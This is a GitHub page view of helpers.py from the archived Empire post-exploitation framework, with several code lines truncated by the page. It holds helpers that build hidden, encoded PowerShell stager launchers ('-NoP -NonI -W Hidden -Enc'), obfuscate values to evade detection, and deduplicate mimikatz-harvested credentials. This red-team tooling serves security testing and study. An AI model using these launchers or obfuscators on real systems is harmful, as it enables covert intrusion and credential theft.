This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

EmpireProject / **Empire** Public archive

Empire / lib / common / **helpers.py**

HarmJ0y added -sta to stager launching c2ba61c · 8 years ago History

```python
"""

Misc. helper functions used in Empire.

Includes the PowerShell functions that generate the
randomized stagers.

"""

import re, string, commands, base64, binascii, sys, os, socket, sqlite3, iptools
from time import localtime, strftime
from Crypto.Random import random


###################################################################
#
# Validation methods
#
###################################################################

def validate_hostname(hostname):
    """
    Tries to validate a hostname.
    """
    if len(hostname) > 255: return False
    if hostname[-1:] == ".": hostname = hostname[:-1]
    allowed = re.compile("(?!-)[A-Z\d-]{1,63}(?<!-)$", re.IGNORECASE)
    return all(allowed.match(x) for x in hostname.split("."))


def validate_ip(IP):
    """
    Uses iptools to validate an IP.
    """
    return iptools.ipv4.validate_ip(IP)


def validate_ntlm(data):

    allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
    if allowed.match(data):
        return True
    else:
        return False


def generate_ip_list(s):
    """
    Takes a comma separated list of IP/range/CIDR addresses and
    generates an IP range list.
    """

    # strip newlines and make everything comma separated
    s = ",".join(s.splitlines())
    # strip out spaces
```

```python
    s = ",".join(s.split(" "))

    ranges = ""
    if s and s != "":
        parts = s.split(",")

        for part in parts:
            p = part.split("-")
            if len(p) == 2:
                if iptools.ipv4.validate_ip(p[0]) and iptools.ipv4.validate_ip(p[1]):
                    ranges += "('"+str(p[0])+"', '"+str(p[1])+"'),"
            else:
                if "/" in part and iptools.ipv4.validate_cidr(part):
                    ranges += "'"+str(p[0])+"',"
                elif iptools.ipv4.validate_ip(part):
                    ranges += "'"+str(p[0])+"',"

        if ranges != "":
            return eval("iptools.IpRangeList("+ranges+")")
        else:
            return None

    else:
        return None


####################################################################################
#
# Randomizers/obfuscators
#
####################################################################################

def random_string(length=-1, charset=string.ascii_letters):
    """
    Returns a random string of "length" characters.
    If no length is specified, resulting string is in between 6 and 15 characters.
    A character set can be specified, defaulting to just alpha letters.
    """
    if length == -1: length = random.randrange(6,16)
    random_string = ''.join(random.choice(charset) for x in range(length))
    return random_string


def obfuscate_num(N, mod):
    """
    Take a number and modulus and return an obsucfated form.

    Returns a string of the obfuscated number N
    """
    d = random.randint(1, mod)
    left = int(N/d)
    right = d
    remainder = N % d
    return "(%s*%s+%s)" %(left, right, remainder)


def randomize_capitalization(data):
    """
    Randomize the capitalization of a string.
    """
    return "".join( random.choice([k.upper(), k ]) for k in data )


def chunks(l, n):
    """
    Generator to split a string l into chunks of size n.
    """
    for i in xrange(0, len(l), n):
        yield l[i:i+n]


####################################################################################
#
# Specific PowerShell helpers
```

```
#
####################################################################################

def enc_powershell(raw):
    """
    Encode a PowerShell command into a form usable by powershell.exe -enc ...
    """
    return base64.b64encode("".join([char + "\x00" for char in unicode(raw)]))


def powershell_launcher_arch(raw):
    """
    Build a one line PowerShell launcher with an -enc command.
    Architecture independent.
    """
```

Files

c2ba61c

Go to file

- .github
- data
- lib
  - common
    - __init__.py
    - agents.py
    - credentials.py
    - empire.py
    - encryption.py
    - helpers.py
    - http.py
    - listeners.py
    - messages.py
    - modules.py
    - packets.py
    - stagers.py
  - modules
  - stagers
  - __init__.py
- setup
- .gitignore
- LICENSE
- README.md
- changelog
- empire

Empire / lib / common / helpers.py Top

Code Blame 672 lines (515 loc) · 20.8 KB Raw

```
def enc_powershell(raw):
```

```
    # invoke PowerShell with the appropriate options
    # triggerCMD += "call %pspath%powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc
    triggerCMD += "call %pspath%powershell.exe -NoP -NonI -W Hidden -Enc " + encCMD

    return triggerCMD


def powershell_launcher(raw):
    """
    Build a one line PowerShell launcher with an -enc command.
    """
    # encode the data into a form usable by -enc
    encCMD = enc_powershell(raw)

    return "powershell.exe -NoP -sta -NonI -W Hidden -Enc " + encCMD


def parse_powershell_script(data):
    """
    Parse a raw PowerShell file and return the function names.
    """
    p = re.compile("function(.*){")
    return [x.strip() for x in p.findall(data)]


def strip_powershell_comments(data):
    """
    Strip block comments, line comments, empty lines, verbose statements,
    and debug statements from a PowerShell source file.
    """

    # strip block comments
    strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', data)

    # strip blank lines, lines starting with #, and verbose/debug statements
    strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip

    return strippedCode


# PowerView dynamic helpers

def get_powerview_psreflect_overhead(script):
    """
    Helper to extract some of the psreflect overhead for PowerView.
    """
    pattern = re.compile(r'\n\$Mod =.*\[\'wtsapi32\'\]', re.DOTALL)

    try:
        return strip_powershell_comments(pattern.findall(script)[0])
    except:
        print color("[!] Error extracting psreflect overhead from powerview.ps1 !")
        return ""
```

```

def get_dependent_functions(code, functionNames):
    """
    Helper that takes a chunk of PowerShell code and a set of function
    names and returns the unique set of function names within the script block.
    """

    dependentFunctions = set()
    for functionName in functionNames:
        # find all function names that aren't followed by another alpha character
        if re.search("[^A-Za-z']+"+functionName+"[^A-Za-z']+", code, re.IGNORECASE):
            dependentFunctions.add(functionName)

    if re.search("\$Netapi32|\$Advapi32|\$Kernel32|\$Wtsapi32", code, re.IGNORECASE):
        dependentFunctions |= set(["New-InMemoryModule", "func", "Add-Win32Type", "psen

    return dependentFunctions


def find_all_dependent_functions(functions, functionsToProcess, resultFunctions=[]):
    """
    Takes a dictionary of "[functionName] -> functionCode" and a set of functions
    to process, and recursively returns all nested functions that may be required.

    Used to map the dependent functions for nested script dependencies like in
    PowerView.
    """

    if isinstance(functionsToProcess, str):
        functionsToProcess = [functionsToProcess]

    while len(functionsToProcess) != 0:

        # pop the next function to process off the stack
        requiredFunction = functionsToProcess.pop()

        if requiredFunction not in resultFunctions:
            resultFunctions.append(requiredFunction)

        # get the dependencies for the function we're currently processing
        try:
            functionDependencies = get_dependent_functions(functions[requiredFunction],
        except:
            functionDependencies = []
            print color("[!] Error in retrieving dependencies for function %s !" %(requ

        for functionDependency in functionDependencies:
            if functionDependency not in resultFunctions and functionDependency not in
                # for each function dependency, if we haven't already seen it
                #   add it to the stack for processing
                functionsToProcess.append(functionDependency)
                resultFunctions.append(functionDependency)

        resultFunctions = find_all_dependent_functions(functions, functionsToProcess, r

    return resultFunctions


def generate_dynamic_powershell_script(script, functionNames):
    """
    Takes a PowerShell script and a function name (or array of function names,
    generates a dictionary of "[functionNames] -> functionCode", and recursively
    maps all dependent functions for the specified function name.

    A script is returned with only the code necessary for the given
    functionName, stripped of comments and whitespace.

    Note: for PowerView, it will also dynamically detect if psreflect
    overhead is needed and add it to the result script.
    """

    newScript = ""
    psreflect_functions = ["New-InMemoryModule", "func", "Add-Win32Type", "psenum", "st

    if type(functionNames) is not list:
```

```
    if type(functionNames) is not list:
        functionNames = [functionNames]

```

```python
        marker = idfun(item)
        # in old Python versions:
        # if seen.has_key(marker)
        # but in new ones:
        if marker in seen: continue
        seen[marker] = 1
        result.append(item)
    return result


def uniquify_tuples(tuples):
    # uniquify mimikatz tuples based on the password
    # cred format- (credType, domain, username, password, hostname, sid)
    seen = set()
    return [item for item in tuples if "%s%s%s%s"%(item[0],item[1],item[2],item[3]) not


def decode_base64(data):
    """
    Try to decode a base64 string.
    From http://stackoverflow.com/questions/2941995/python-ignore-incorrect-padding-err
    """
    missing_padding = 4 - len(data) % 4
    if missing_padding:
        data += b'='* missing_padding

    try:
        result = base64.decodestring(data)
        return result
    except binascii.Error:
        # if there's a decoding error, just return the data
        return data


def encode_base64(data):
    """
    Decode data as a base64 string.
    """
    return base64.encodestring(data).strip()


def complete_path(text, line, arg=False):
    """
    Helper for tab-completion of file paths.
    """

    # stolen from dataq at
    #   http://stackoverflow.com/questions/16826172/filename-tab-completion-in-cmd-cmd-

    if arg:
        # if we have "command something path"
        argData = line.split()[1:]
    else:
```

```
            # if we have  command path
            argData = line.split()[0:]

        if not argData or len(argData) == 1:
            completions = os.listdir('./')
        else:
            dir, part, base = argData[-1].rpartition('/')
            if part == '':
                dir = './'
            elif dir == '':
                dir = '/'

            completions = []
            for f in os.listdir(dir):
                if f.startswith(base):
                    if os.path.isfile(os.path.join(dir,f)):
                        completions.append(f)
                    else:
                        completions.append(f+'/')

        return completions
```